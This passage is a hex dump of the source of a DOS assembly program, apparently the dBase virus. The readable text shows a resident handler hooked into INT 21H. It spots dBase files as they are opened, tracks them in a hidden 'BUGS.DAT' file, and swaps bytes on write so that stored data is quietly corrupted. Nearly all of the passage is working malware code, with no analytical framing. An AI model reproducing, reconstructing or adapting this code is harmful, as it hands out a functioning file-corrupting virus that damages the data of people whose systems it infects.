|00001fd0| 2c 31 0a 42 50 30 32 41 | 33 3a 09 50 55 53 48 46 |,1.BP02A|3:.PUSHF|
|00001fe0| 0a 09 43 41 4c 4c 09 42 | 50 30 32 41 37 09 09 09 |..CALL.B|P02A7...|
|00001ff0| 3b 20 5c 20 47 65 74 20 | 63 75 72 72 65 6e 74 20 |; \ Get |current |
|00002000| 61 64 64 72 65 73 73 0a | 42 50 30 32 41 37 3a 09 |address.|BP02A7:.|
|00002010| 50 4f 50 09 53 49 09 09 | 09 3b 20 2f 0a 09 53 55 |POP.SI..|.; /..SU|
|00002020| 42 09 53 49 2c 4f 46 46 | 53 45 54 20 42 50 30 32 |B.SI,OFF|SET BP02|
|00002030| 41 37 2d 44 57 30 30 43 | 34 0a 09 50 4f 50 09 43 |A7-DW00C|4..POP.C|
|00002040| 53 3a 5b 53 49 2b 32 5d | 0a 09 4d 4f 56 09 43 53 |S:[SI+2]|..MOV.CS|
|00002050| 3a 5b 53 49 5d 2c 41 58 | 0a 09 50 4f 50 09 42 50 |:[SI],AX|..POP.BP|
|00002060| 0a 09 50 4f 50 09 53 49 | 0a 09 50 4f 50 09 44 58 |..POP.SI|..POP.DX|
|00002070| 0a 09 50 4f 50 09 43 58 | 0a 09 50 4f 50 09 41 58 |..POP.CX|..POP.AX|
|00002080| 0a 09 52 45 54 0a 0a 42 | 50 30 32 42 39 3a 09 50 |..RET..B|P02B9:.P|
|00002090| 55 53 48 09 41 58 0a 09 | 50 55 53 48 09 43 58 0a |USH.AX..|PUSH.CX.|
|000020a0| 09 50 55 53 48 09 44 58 | 0a 09 50 55 53 48 09 53 |.PUSH.DX|..PUSH.S|
|000020b0| 49 0a 09 50 55 53 48 09 | 42 50 0a 09 4d 4f 56 09 |I..PUSH.|BP..MOV.|
|000020c0| 53 49 2c 44 58 0a 09 41 | 44 44 09 53 49 2c 43 58 |SI,DX..A|DD.SI,CX|
|000020d0| 0a 09 44 45 43 09 53 49 | 0a 09 4d 4f 56 09 44 58 |..DEC.SI|..MOV.DX|
|000020e0| 2c 31 09 09 09 3b 20 5c | 20 46 6f 72 77 61 72 64 |,1...; \| Forward|
|000020f0| 20 6f 6e 65 20 62 79 74 | 65 0a 09 58 4f 52 09 43 | one byt|e..XOR.C|
|00002100| 58 2c 43 58 09 09 09 3b | 20 2f 0a 09 4d 4f 56 09 |X,CX...;| /..MOV.|
|00002110| 41 58 2c 34 32 30 31 48 | 09 09 3b 20 4d 6f 76 65 |AX,4201H|..; Move|
|00002120| 20 66 69 6c 65 20 70 6f | 69 6e 74 65 72 20 28 63 | file po|inter (c|
|00002130| 75 72 72 65 6e 74 29 20 | 66 75 6e 63 74 69 6f 6e |urrent) |function|
|00002140| 0a 09 49 4e 54 09 32 31 | 48 09 09 09 3b 20 44 4f |..INT.21|H...; DO|
|00002150| 53 20 73 65 72 76 69 63 | 65 0a 09 4d 4f 56 09 41 |S servic|e..MOV.A|
|00002160| 48 2c 33 46 48 09 09 09 | 3b 20 52 65 61 64 20 68 |H,3FH...|; Read h|
|00002170| 61 6e 64 6c 65 20 66 75 | 6e 63 74 69 6f 6e 0a 09 |andle fu|nction..|
|00002180| 4d 4f 56 09 43 58 2c 31 | 09 09 09 3b 20 52 65 61 |MOV.CX,1|...; Rea|
|00002190| 64 20 6f 6e 65 20 62 79 | 74 65 0a 09 4d 4f 56 09 |d one by|te..MOV.|
|000021a0| 42 50 2c 5b 53 49 5d 0a | 09 49 4e 54 09 32 31 48 |BP,[SI].|.INT.21H|
|000021b0| 09 09 09 3b 20 44 4f 53 | 20 73 65 72 76 69 63 65 |...; DOS| service|
|000021c0| 0a 09 4a 42 09 42 50 30 | 32 45 30 09 09 09 3b 20 |..JB.BP0|2E0...; |
|000021d0| 42 72 61 6e 63 68 20 69 | 66 20 65 72 72 6f 72 0a |Branch i|f error.|
|000021e0| 09 43 4d 50 09 41 58 2c | 31 09 09 09 3b 20 4f 6e |.CMP.AX,|1...; On|
|000021f0| 65 20 62 79 74 65 20 72 | 65 61 64 3f 0a 09 4a 4e |e byte r|ead?..JN|
|00002200| 45 09 42 50 30 32 45 30 | 09 09 09 3b 20 42 72 61 |E.BP02E0|...; Bra|
|00002210| 6e 63 68 20 69 66 20 6e | 6f 74 0a 09 4a 4d 50 09 |nch if n|ot..JMP.|
|00002220| 42 50 30 32 46 36 0a 0a | 42 50 30 32 45 30 3a 09 |BP02F6..|BP02E0:.|
|00002230| 4d 4f 56 09 43 58 2c 2d | 31 09 09 09 3b 20 5c 20 |MOV.CX,-|1...; \ |
|00002240| 42 61 63 6b 20 6f 6e 65 | 20 62 79 74 65 0a 09 4d |Back one| byte..M|
|00002250| 4f 56 09 44 58 2c 43 58 | 09 09 09 3b 20 2f 0a 09 |OV.DX,CX|...; /..|
|00002260| 4d 4f 56 09 41 58 2c 34 | 32 30 31 48 09 09 3b 20 |MOV.AX,4|201H..; |
|00002270| 4d 6f 76 65 20 66 69 6c | 65 20 70 6f 69 6e 74 65 |Move fil|e pointe|
|00002280| 72 20 28 63 75 72 72 65 | 6e 74 29 20 66 75 6e 63 |r (curre|nt) func|
|00002290| 74 69 6f 6e 0a 09 49 4e | 54 09 32 31 48 09 09 09 |tion..IN|T.21H...|
|000022a0| 3b 20 44 4f 53 20 73 65 | 72 76 69 63 65 0a 09 4d |; DOS se|rvice..M|
|000022b0| 4f 56 09 44 58 2c 53 49 | 0a 09 4d 4f 56 09 43 58 |OV.DX,SI|..MOV.CX|
|000022c0| 2c 31 09 09 09 3b 20 4c | 65 6e 67 74 68 20 74 6f |,1...; L|ength to|
|000022d0| 20 77 72 69 74 65 0a 09 | 4d 4f 56 09 41 48 2c 34 | write..|MOV.AH,4|
|000022e0| 30 48 09 09 09 3b 20 57 | 72 69 74 65 20 68 61 6e |0H...; W|rite han|
|000022f0| 64 6c 65 20 66 75 6e 63 | 74 69 6f 6e 0a 09 49 4e |dle func|tion..IN|
|00002300| 54 09 32 31 48 09 09 09 | 3b 20 44 4f 53 20 73 65 |T.21H...|; DOS se|
|00002310| 72 76 69 63 65 0a 09 4a | 4d 50 09 42 50 30 33 32 |rvice..J|MP.BP032|
|00002320| 41 0a 0a 42 50 30 32 46 | 36 3a 09 4d 4f 56 09 44 |A..BP02F|6:.MOV.D|
|00002330| 58 2c 2d 32 09 09 09 3b | 20 5c 20 42 61 63 6b 20 |X,-2...;| \ Back |
|00002340| 74 77 6f 20 62 79 74 65 | 0a 09 4d 4f 56 09 43 58 |two byte|..MOV.CX|
|00002350| 2c 2d 31 09 09 09 3b 20 | 2f 0a 09 4d 4f 56 09 41 |,-1...; |/..MOV.A|
|00002360| 58 2c 34 32 30 31 48 09 | 09 3b 20 4d 6f 76 65 20 |X,4201H.|.; Move |
|00002370| 66 69 6c 65 20 70 6f 69 | 6e 74 65 72 20 28 63 75 |file poi|nter (cu|
|00002380| 72 72 65 6e 74 29 20 66 | 75 6e 63 74 69 6f 6e 0a |rrent) f|unction.|
|00002390| 09 49 4e 54 09 32 31 48 | 09 09 09 3b 20 44 4f 53 |.INT.21H|...; DOS|
|000023a0| 20 73 65 72 76 69 63 65 | 0a 09 58 43 48 47 09 42 | service|..XCHG.B|
|000023b0| 50 2c 5b 53 49 5d 0a 09 | 4d 4f 56 09 43 58 2c 31 |P,[SI]..|MOV.CX,1|
|000023c0| 09 09 09 3b 20 4c 65 6e | 67 74 68 20 74 6f 20 77 |...; Len|gth to w|
|000023d0| 72 69 74 65 0a 09 4d 4f | 56 09 41 48 2c 34 30 48 |rite..MO|V.AH,40H|
|000023e0| 09 09 09 3b 20 57 72 69 | 74 65 20 68 61 6e 64 6c |...; Wri|te handl|
|000023f0| 65 20 66 75 6e 63 74 69 | 6f 6e 0a 09 4d 4f 56 09 |e functi|on..MOV.|
|00002400| 44 58 2c 53 49 0a 09 49 | 4e 54 09 32 31 48 09 09 |DX,SI..I|NT.21H..|
|00002410| 09 3b 20 44 4f 53 20 73 | 65 72 76 69 63 65 0a 09 |.; DOS s|ervice..|
|00002420| 4a 42 09 42 50 30 33 32 | 41 09 09 09 3b 20 42 72 |JB.BP032|A...; Br|
|00002430| 61 6e 63 68 20 69 66 20 | 65 72 72 6f 72 0a 09 58 |anch if |error..X|
|00002440| 43 48 47 09 42 50 2c 5b | 53 49 5d 0a 09 4d 4f 56 |CHG.BP,[|SI]..MOV|
|00002450| 09 43 58 2c 31 09 09 09 | 3b 20 4c 65 6e 67 74 68 |.CX,1...|; Length|
|00002460| 20 74 6f 20 77 72 69 74 | 65 0a 09 4d 4f 56 09 41 | to writ|e..MOV.A|
|00002470| 48 2c 34 30 48 09 09 09 | 3b 20 57 72 69 74 65 20 |H,40H...|; Write |
|00002480| 68 61 6e 64 6c 65 20 66 | 75 6e 63 74 69 6f 6e 0a |handle f|unction.|
|00002490| 09 4d 4f 56 09 44 58 2c | 53 49 0a 09 49 4e 54 09 |.MOV.DX,|SI..INT.|
|000024a0| 32 31 48 09 09 09 3b 20 | 44 4f 53 20 73 65 72 76 |21H...; |DOS serv|
|000024b0| 69 63 65 0a 09 4a 42 09 | 42 50 30 33 32 41 09 09 |ice..JB.|BP032A..|
|000024c0| 09 3b 20 42 72 61 6e 63 | 68 20 69 66 20 65 72 72 |.; Branc|h if err|
|000024d0| 6f 72 0a 09 58 43 48 47 | 09 42 50 2c 5b 53 49 5d |or..XCHG|.BP,[SI]|
|000024e0| 0a 09 4d 4f 56 09 44 58 | 2c 2d 31 09 09 09 3b 20 |..MOV.DX|,-1...; |
|000024f0| 5c 20 42 61 63 6b 20 6f | 6e 65 20 62 79 74 65 0a |\ Back o|ne byte.|
|00002500| 09 4d 4f 56 09 43 58 2c | 44 58 09 09 09 3b 20 2f |.MOV.CX,|DX...; /|
|00002510| 0a 09 4d 4f 56 09 41 58 | 2c 34 32 30 31 48 09 09 |..MOV.AX|,4201H..|
|00002520| 3b 20 4d 6f 76 65 20 66 | 69 6c 65 20 70 6f 69 6e |; Move f|ile poin|
|00002530| 74 65 72 20 28 63 75 72 | 72 65 6e 74 29 20 66 75 |ter (cur|rent) fu|
|00002540| 6e 63 74 69 6f 6e 0a 09 | 49 4e 54 09 32 31 48 09 |nction..|INT.21H.|
|00002550| 09 09 3b 20 44 4f 53 20 | 73 65 72 76 69 63 65 0a |..; DOS |service.|
|00002560| 09 4d 4f 56 09 41 58 2c | 31 0a 42 50 30 33 32 41 |.MOV.AX,|1.BP032A|
|00002570| 3a 09 50 55 53 48 46 0a | 09 43 41 4c 4c 09 42 50 |:.PUSHF.|.CALL.BP|
|00002580| 30 33 32 45 09 09 09 3b | 20 5c 20 47 65 74 20 63 |032E...;| \ Get c|
|00002590| 75 72 72 65 6e 74 20 61 | 64 64 72 65 73 73 0a 42 |urrent a|ddress.B|
|000025a0| 50 30 33 32 45 3a 09 50 | 4f 50 09 53 49 09 09 09 |P032E:.P|OP.SI...|
|000025b0| 3b 20 2f 0a 09 53 55 42 | 09 53 49 2c 4f 46 46 53 |; /..SUB|.SI,OFFS|
|000025c0| 45 54 20 42 50 30 33 32 | 45 2d 44 57 30 30 43 34 |ET BP032|E-DW00C4|
|000025d0| 0a 09 50 4f 50 09 43 53 | 3a 5b 53 49 2b 32 5d 0a |..POP.CS|:[SI+2].|
|000025e0| 09 41 44 44 09 43 53 3a | 5b 53 49 5d 2c 41 58 0a |.ADD.CS:|[SI],AX.|
|000025f0| 09 50 4f 50 09 42 50 0a | 09 50 4f 50 09 53 49 0a |.POP.BP.|.POP.SI.|
|00002600| 09 50 4f 50 09 44 58 0a | 09 50 4f 50 09 43 58 0a |.POP.DX.|.POP.CX.|
|00002610| 09 50 4f 50 09 41 58 0a | 09 52 45 54 0a 0a 42 50 |.POP.AX.|.RET..BP|
|00002620| 30 33 34 30 3a 09 50 55 | 53 48 09 42 50 0a 09 50 |0340:.PU|SH.BP..P|
|00002630| 55 53 48 09 43 58 0a 09 | 43 41 4c 4c 09 42 50 30 |USH.CX..|CALL.BP0|
|00002640| 33 34 35 09 09 09 3b 20 | 5c 20 47 65 74 20 63 75 |345...; |\ Get cu|
|00002650| 72 72 65 6e 74 20 61 64 | 64 72 65 73 73 0a 42 50 |rrent ad|dress.BP|
|00002660| 30 33 34 35 3a 09 50 4f | 50 09 42 50 09 09 09 3b |0345:.PO|P.BP...;|
|00002670| 20 2f 0a 09 53 55 42 09 | 42 50 2c 4f 46 46 53 45 | /..SUB.|BP,OFFSE|
|00002680| 54 20 42 50 30 33 34 35 | 2d 44 57 30 30 41 45 0a |T BP0345|-DW00AE.|
|00002690| 09 4d 4f 56 09 43 58 2c | 43 53 3a 5b 42 50 2b 30 |.MOV.CX,|CS:[BP+0|
|000026a0| 5d 0a 09 43 4d 50 09 43 | 58 2c 30 0a 09 4a 45 09 |]..CMP.C|X,0..JE.|
|000026b0| 42 50 30 33 37 43 0a 09 | 41 44 44 09 42 50 2c 32 |BP037C..|ADD.BP,2|
|000026c0| 0a 42 50 30 33 35 36 3a | 09 43 4d 50 09 43 53 3a |.BP0356:|.CMP.CS:|
|000026d0| 5b 42 50 2b 30 5d 2c 42 | 4c 0a 09 4a 45 09 42 50 |[BP+0],B|L..JE.BP|
|000026e0| 30 33 36 32 0a 09 49 4e | 43 09 42 50 0a 09 4c 4f |0362..IN|C.BP..LO|
|000026f0| 4f 50 09 42 50 30 33 35 | 36 0a 09 4a 4d 50 09 42 |OP.BP035|6..JMP.B|
|00002700| 50 30 33 37 43 0a 0a 42 | 50 30 33 36 32 3a 09 4d |P037C..B|P0362:.M|
|00002710| 4f 56 09 43 4c 2c 43 53 | 3a 5b 42 50 2b 31 5d 0a |OV.CL,CS|:[BP+1].|
|00002720| 09 4d 4f 56 09 43 53 3a | 5b 42 50 2b 30 5d 2c 43 |.MOV.CS:|[BP+0],C|
|00002730| 4c 0a 09 49 4e 43 09 42 | 50 0a 09 43 4d 50 09 43 |L..INC.B|P..CMP.C|
|00002740| 4c 2c 30 0a 09 4a 4e 45 | 09 42 50 30 33 36 32 0a |L,0..JNE|.BP0362.|
|00002750| 09 43 41 4c 4c 09 42 50 | 30 33 37 33 09 09 09 3b |.CALL.BP|0373...;|
|00002760| 20 5c 20 47 65 74 20 63 | 75 72 72 65 6e 74 20 61 | \ Get c|urrent a|
|00002770| 64 64 72 65 73 73 0a 42 | 50 30 33 37 33 3a 09 50 |ddress.B|P0373:.P|
|00002780| 4f 50 09 42 50 09 09 09 | 3b 20 2f 0a 09 53 55 42 |OP.BP...|; /..SUB|
|00002790| 09 42 50 2c 4f 46 46 53 | 45 54 20 42 50 30 33 37 |.BP,OFFS|ET BP037|
|000027a0| 33 2d 44 57 30 30 41 45 | 0a 09 44 45 43 09 57 4f |3-DW00AE|..DEC.WO|
|000027b0| 52 44 20 50 54 52 20 43 | 53 3a 5b 42 50 2b 30 5d |RD PTR C|S:[BP+0]|
|000027c0| 0a 42 50 30 33 37 43 3a | 09 50 4f 50 09 43 58 0a |.BP037C:|.POP.CX.|
|000027d0| 09 50 4f 50 09 42 50 0a | 09 4a 4d 50 09 42 50 30 |.POP.BP.|.JMP.BP0|
|000027e0| 30 34 34 09 09 09 3b 20 | 50 61 73 73 20 6f 6e 20 |044...; |Pass on |
|000027f0| 74 6f 20 49 6e 74 20 32 | 31 48 0a 0a 42 50 30 33 |to Int 2|1H..BP03|
|00002800| 38 31 3a 09 4a 4d 50 09 | 42 50 30 34 41 37 0a 0a |81:.JMP.|BP04A7..|
|00002810| 09 4a 4d 50 09 42 50 30 | 30 34 34 09 09 09 3b 20 |.JMP.BP0|044...; |
|00002820| 50 61 73 73 20 6f 6e 20 | 74 6f 20 49 6e 74 20 32 |Pass on |to Int 2|
|00002830| 31 48 0a 0a 44 57 30 33 | 38 37 09 44 57 09 30 09 |1H..DW03|87.DW.0.|
|00002840| 09 09 3b 20 46 69 6c 65 | 20 64 61 74 65 0a 44 57 |..; File| date.DW|
|00002850| 30 33 38 39 09 44 57 09 | 30 09 09 09 3b 20 46 69 |0389.DW.|0...; Fi|
|00002860| 6c 65 20 74 69 6d 65 0a | 44 57 30 33 38 42 09 44 |le time.|DW038B.D|
|00002870| 57 09 30 09 09 09 3b 20 | 46 69 6c 65 20 61 74 74 |W.0...; |File att|
|00002880| 72 69 62 75 74 65 73 0a | 44 57 30 33 38 44 09 44 |ributes.|DW038D.D|
|00002890| 57 09 30 09 09 09 3b 20 | 50 61 74 68 6e 61 6d 65 |W.0...; |Pathname|
|000028a0| 20 73 65 67 6d 65 6e 74 | 0a 44 57 30 33 38 46 09 | segment|.DW038F.|
|000028b0| 44 57 09 30 09 09 09 3b | 20 50 61 74 68 6e 61 6d |DW.0...;| Pathnam|
|000028c0| 65 20 6f 66 66 73 65 74 | 0a 0a 09 3b 20 4e 65 77 |e offset|...; New|
|000028d0| 20 66 69 6c 65 20 66 75 | 6e 63 74 69 6f 6e 73 0a | file fu|nctions.|
|000028e0| 0a 42 50 30 33 39 31 3a | 09 50 55 53 48 09 53 49 |.BP0391:|.PUSH.SI|
|000028f0| 0a 09 50 55 53 48 09 42 | 50 0a 09 43 4d 50 09 41 |..PUSH.B|P..CMP.A|
|00002900| 48 2c 36 43 48 09 09 09 | 3b 20 45 78 74 65 6e 64 |H,6CH...|; Extend|
|00002910| 65 64 20 6f 70 65 6e 2f | 63 72 65 61 74 65 20 66 |ed open/|create f|
|00002920| 75 6e 63 74 69 6f 6e 3f | 0a 09 4a 45 09 42 50 30 |unction?|..JE.BP0|
|00002930| 33 39 41 09 09 09 3b 20 | 42 72 61 6e 63 68 20 69 |39A...; |Branch i|
|00002940| 66 20 79 65 73 0a 09 4d | 4f 56 09 53 49 2c 44 58 |f yes..M|OV.SI,DX|
|00002950| 09 09 09 3b 20 43 6f 70 | 79 20 66 69 6c 65 70 61 |...; Cop|y filepa|
|00002960| 74 68 20 70 6f 69 6e 74 | 65 72 0a 42 50 30 33 39 |th point|er.BP039|
|00002970| 41 3a 09 4d 4f 56 09 42 | 50 2c 53 49 09 09 09 3b |A:.MOV.B|P,SI...;|
|00002980| 20 43 6f 70 79 20 66 69 | 6c 65 70 61 74 68 20 70 | Copy fi|lepath p|
|00002990| 6f 69 6e 74 65 72 0a 09 | 43 41 4c 4c 09 42 50 30 |ointer..|CALL.BP0|
|000029a0| 34 35 33 09 09 09 3b 20 | 43 6f 6e 76 65 72 74 20 |453...; |Convert |
|000029b0| 70 61 74 68 6e 61 6d 65 | 20 74 6f 20 75 70 70 65 |pathname| to uppe|
|000029c0| 72 63 61 73 65 0a 09 43 | 41 4c 4c 09 42 50 30 34 |rcase..C|ALL.BP04|
|000029d0| 36 38 09 09 09 3b 20 54 | 65 73 74 20 66 6f 72 20 |68...; T|est for |
|000029e0| 44 62 61 73 65 20 66 69 | 6c 65 0a 09 4a 4e 45 09 |Dbase fi|le..JNE.|
|000029f0| 42 50 30 33 38 31 09 09 | 09 3b 20 42 72 61 6e 63 |BP0381..|.; Branc|
|00002a00| 68 20 69 66 20 6e 6f 74 | 0a 09 50 55 53 48 09 44 |h if not|..PUSH.D|
|00002a10| 58 0a 09 4d 4f 56 09 44 | 58 2c 53 49 09 09 09 3b |X..MOV.D|X,SI...;|
|00002a20| 20 43 6f 70 79 20 70 61 | 74 68 6e 61 6d 65 20 28 | Copy pa|thname (|
|00002a30| 66 6f 72 20 66 75 6e 63 | 74 69 6f 6e 20 36 43 48 |for func|tion 6CH|
|00002a40| 29 0a 09 43 41 4c 4c 09 | 42 50 30 36 36 35 09 09 |)..CALL.|BP0665..|
|00002a50| 09 3b 20 53 65 61 72 63 | 68 20 42 55 47 2e 44 41 |.; Searc|h BUG.DA|
|00002a60| 54 20 66 69 6c 65 20 66 | 6f 72 20 70 61 74 68 6e |T file f|or pathn|
|00002a70| 61 6d 65 0a 09 50 4f 50 | 09 44 58 0a 09 4a 42 09 |ame..POP|.DX..JB.|
|00002a80| 42 50 30 34 31 35 09 09 | 09 3b 20 42 72 61 6e 63 |BP0415..|.; Branc|
|00002a90| 68 20 69 66 20 66 6f 75 | 6e 64 0a 09 50 55 53 48 |h if fou|nd..PUSH|
|00002aa0| 09 45 53 0a 09 50 55 53 | 48 09 44 53 0a 09 50 55 |.ES..PUS|H.DS..PU|
|00002ab0| 53 48 09 44 58 0a 09 50 | 55 53 48 09 53 49 0a 09 |SH.DX..P|USH.SI..|
|00002ac0| 50 55 53 48 09 44 49 0a | 09 50 55 53 48 09 43 58 |PUSH.DI.|.PUSH.CX|
|00002ad0| 0a 09 50 55 53 48 09 42 | 58 0a 09 50 55 53 48 09 |..PUSH.B|X..PUSH.|
|00002ae0| 41 58 0a 09 43 41 4c 4c | 09 42 50 30 33 42 38 09 |AX..CALL|.BP03B8.|
|00002af0| 09 09 3b 20 5c 20 47 65 | 74 20 63 75 72 72 65 6e |..; \ Ge|t curren|
|00002b00| 74 20 61 64 64 72 65 73 | 73 0a 42 50 30 33 42 38 |t addres|s.BP03B8|
|00002b10| 3a 09 50 4f 50 09 44 58 | 09 09 09 3b 20 2f 0a 09 |:.POP.DX|...; /..|
|00002b20| 53 55 42 09 44 58 2c 4f | 46 46 53 45 54 20 42 50 |SUB.DX,O|FFSET BP|
|00002b30| 30 33 42 38 2d 44 42 30 | 30 35 33 09 3b 20 41 64 |03B8-DB0|053.; Ad|
|00002b40| 64 72 65 73 73 20 27 42 | 55 47 53 2e 44 41 54 27 |dress 'B|UGS.DAT'|
|00002b50| 20 70 61 74 68 6e 61 6d | 65 0a 09 50 55 53 48 09 | pathnam|e..PUSH.|
|00002b60| 42 50 0a 09 4d 4f 56 09 | 42 50 2c 44 53 09 09 09 |BP..MOV.|BP,DS...|
|00002b70| 3b 20 5c 20 53 65 74 20 | 45 53 20 74 6f 20 44 53 |; \ Set |ES to DS|
|00002b80| 0a 09 4d 4f 56 09 45 53 | 2c 42 50 09 09 09 3b 20 |..MOV.ES|,BP...; |
|00002b90| 2f 0a 09 50 4f 50 09 42 | 50 0a 09 50 55 53 48 09 |/..POP.B|P..PUSH.|
|00002ba0| 43 53 09 09 09 3b 20 5c | 20 53 65 74 20 44 53 20 |CS...; \| Set DS |
|00002bb0| 74 6f 20 43 53 0a 09 50 | 4f 50 09 44 53 09 09 09 |to CS..P|OP.DS...|
|00002bc0| 3b 20 2f 0a 09 4d 4f 56 | 09 41 58 2c 33 44 30 32 |; /..MOV|.AX,3D02|
|00002bd0| 48 09 09 3b 20 4f 70 65 | 6e 20 68 61 6e 64 6c 65 |H..; Ope|n handle|
|00002be0| 20 28 52 2f 57 29 20 66 | 75 6e 63 74 69 6f 6e 0a | (R/W) f|unction.|
|00002bf0| 09 4d 4f 56 09 44 49 2c | 30 46 42 30 41 48 09 09 |.MOV.DI,|0FB0AH..|
|00002c00| 3b 20 41 6c 6c 6f 77 20 | 66 72 65 65 20 70 61 73 |; Allow |free pas|
|00002c10| 73 61 67 65 20 74 6f 20 | 44 4f 53 0a 09 49 4e 54 |sage to |DOS..INT|
|00002c20| 09 32 31 48 09 09 09 3b | 20 44 4f 53 20 73 65 72 |.21H...;| DOS ser|
|00002c30| 76 69 63 65 0a 09 4a 4e | 42 09 42 50 30 33 44 38 |vice..JN|B.BP03D8|
|00002c40| 09 09 09 3b 20 42 72 61 | 6e 63 68 20 69 66 20 6e |...; Bra|nch if n|
|00002c50| 6f 20 65 72 72 6f 72 0a | 09 4d 4f 56 09 41 48 2c |o error.|.MOV.AH,|
|00002c60| 33 43 48 09 09 09 3b 20 | 43 72 65 61 74 65 20 68 |3CH...; |Create h|
|00002c70| 61 6e 64 6c 65 20 66 75 | 6e 63 74 69 6f 6e 0a 09 |andle fu|nction..|
|00002c80| 4d 4f 56 09 43 58 2c 32 | 09 09 09 3b 20 48 69 64 |MOV.CX,2|...; Hid|
|00002c90| 64 65 6e 20 66 69 6c 65 | 0a 09 49 4e 54 09 32 31 |den file|..INT.21|
|00002ca0| 48 09 09 09 3b 20 44 4f | 53 20 73 65 72 76 69 63 |H...; DO|S servic|
|00002cb0| 65 0a 09 4a 42 09 42 50 | 30 34 34 38 09 09 09 3b |e..JB.BP|0448...;|
|00002cc0| 20 42 72 61 6e 63 68 20 | 69 66 20 65 72 72 6f 72 | Branch |if error|
|00002cd0| 0a 42 50 30 33 44 38 3a | 09 4d 4f 56 09 42 58 2c |.BP03D8:|.MOV.BX,|
|00002ce0| 41 58 09 09 09 3b 20 4d | 6f 76 65 20 68 61 6e 64 |AX...; M|ove hand|
|00002cf0| 6c 65 0a 09 43 41 4c 4c | 09 42 50 30 36 46 37 09 |le..CALL|.BP06F7.|
|00002d00| 09 09 3b 20 49 73 20 66 | 69 6c 65 20 6f 75 74 20 |..; Is f|ile out |
|00002d10| 6f 66 20 74 69 6d 65 3f | 0a 09 58 4f 52 09 44 58 |of time?|..XOR.DX|
|00002d20| 2c 44 58 09 09 09 3b 20 | 5c 20 4e 6f 20 6f 66 66 |,DX...; |\ No off|
|00002d30| 73 65 74 0a 09 58 4f 52 | 09 43 58 2c 43 58 09 09 |set..XOR|.CX,CX..|
|00002d40| 09 3b 20 2f 0a 09 4d 4f | 56 09 41 58 2c 34 32 30 |.; /..MO|V.AX,420|
|00002d50| 32 48 09 09 3b 20 4d 6f | 76 65 20 66 69 6c 65 20 |2H..; Mo|ve file |
|00002d60| 70 6f 69 6e 74 65 72 20 | 28 45 4f 46 29 20 66 75 |pointer |(EOF) fu|
|00002d70| 6e 63 74 69 6f 6e 0a 09 | 49 4e 54 09 32 31 48 09 |nction..|INT.21H.|
|00002d80| 09 09 3b 20 44 4f 53 20 | 73 65 72 76 69 63 65 0a |..; DOS |service.|
|00002d90| 09 4d 4f 56 09 44 58 2c | 42 50 0a 09 4d 4f 56 09 |.MOV.DX,|BP..MOV.|
|00002da0| 44 49 2c 44 58 0a 09 4d | 4f 56 09 42 50 2c 45 53 |DI,DX..M|OV.BP,ES|
|00002db0| 09 09 09 3b 20 5c 20 53 | 65 74 20 44 53 20 74 6f |...; \ S|et DS to|
|00002dc0| 20 45 53 0a 09 4d 4f 56 | 09 44 53 2c 42 50 09 09 | ES..MOV|.DS,BP..|
|00002dd0| 09 3b 20 2f 0a 09 4d 4f | 56 09 43 58 2c 30 30 34 |.; /..MO|V.CX,004|
|00002de0| 45 48 09 09 3b 20 4c 65 | 6e 67 74 68 20 74 6f 20 |EH..; Le|ngth to |
|00002df0| 77 72 69 74 65 0a 09 4d | 4f 56 09 41 48 2c 34 30 |write..M|OV.AH,40|
|00002e00| 48 09 09 09 3b 20 57 72 | 69 74 65 20 68 61 6e 64 |H...; Wr|ite hand|
|00002e10| 6c 65 20 66 75 6e 63 74 | 69 6f 6e 0a 09 4d 4f 56 |le funct|ion..MOV|
|00002e20| 09 44 49 2c 30 46 42 30 | 41 48 09 09 3b 20 41 6c |.DI,0FB0|AH..; Al|
|00002e30| 6c 6f 77 20 66 72 65 65 | 20 70 61 73 73 61 67 65 |low free| passage|
|00002e40| 20 74 6f 20 44 4f 53 0a | 09 49 4e 54 09 32 31 48 | to DOS.|.INT.21H|
|00002e50| 09 09 09 3b 20 44 4f 53 | 20 73 65 72 76 69 63 65 |...; DOS| service|
|00002e60| 0a 09 43 41 4c 4c 09 42 | 50 30 33 46 42 09 09 09 |..CALL.B|P03FB...|
|00002e70| 3b 20 5c 20 47 65 74 20 | 63 75 72 72 65 6e 74 20 |; \ Get |current |
|00002e80| 61 64 64 72 65 73 73 0a | 42 50 30 33 46 42 3a 09 |address.|BP03FB:.|
|00002e90| 50 4f 50 09 53 49 09 09 | 09 3b 20 2f 0a 09 53 55 |POP.SI..|.; /..SU|
|00002ea0| 42 09 53 49 2c 37 34 48 | 09 09 09 3b 20 41 64 64 |B.SI,74H|...; Add|
|00002eb0| 72 65 73 73 20 66 69 6c | 65 20 64 61 74 65 0a 09 |ress fil|e date..|
|00002ec0| 4d 4f 56 09 44 58 2c 43 | 53 3a 5b 53 49 5d 09 09 |MOV.DX,C|S:[SI]..|
|00002ed0| 3b 20 47 65 74 20 66 69 | 6c 65 20 64 61 74 65 0a |; Get fi|le date.|
|00002ee0| 09 4d 4f 56 09 41 58 2c | 35 37 30 31 48 09 09 3b |.MOV.AX,|5701H..;|
|00002ef0| 20 53 65 74 20 66 69 6c | 65 20 64 61 74 65 20 26 | Set fil|e date &|
|00002f00| 20 74 69 6d 65 20 66 75 | 6e 63 74 69 6f 6e 0a 09 | time fu|nction..|
|00002f10| 49 4e 54 09 32 31 48 09 | 09 09 3b 20 44 4f 53 20 |INT.21H.|..; DOS |
|00002f20| 73 65 72 76 69 63 65 0a | 09 4d 4f 56 09 41 48 2c |service.|.MOV.AH,|
|00002f30| 33 45 48 09 09 09 3b 20 | 43 6c 6f 73 65 20 68 61 |3EH...; |Close ha|
|00002f40| 6e 64 6c 65 20 66 75 6e | 63 74 69 6f 6e 0a 09 49 |ndle fun|ction..I|
|00002f50| 4e 54 09 32 31 48 09 09 | 09 3b 20 44 4f 53 20 73 |NT.21H..|.; DOS s|
|00002f60| 65 72 76 69 63 65 0a 09 | 4a 42 09 42 50 30 34 34 |ervice..|JB.BP044|
|00002f70| 38 09 09 09 3b 20 42 72 | 61 6e 63 68 20 69 66 20 |8...; Br|anch if |
|00002f80| 65 72 72 6f 72 0a 09 50 | 4f 50 09 41 58 0a 09 50 |error..P|OP.AX..P|
|00002f90| 4f 50 09 42 58 0a 09 50 | 4f 50 09 43 58 0a 09 50 |OP.BX..P|OP.CX..P|
|00002fa0| 4f 50 09 44 49 0a 09 50 | 4f 50 09 53 49 0a 09 50 |OP.DI..P|OP.SI..P|
|00002fb0| 4f 50 09 44 58 0a 09 50 | 4f 50 09 44 53 0a 09 50 |OP.DX..P|OP.DS..P|
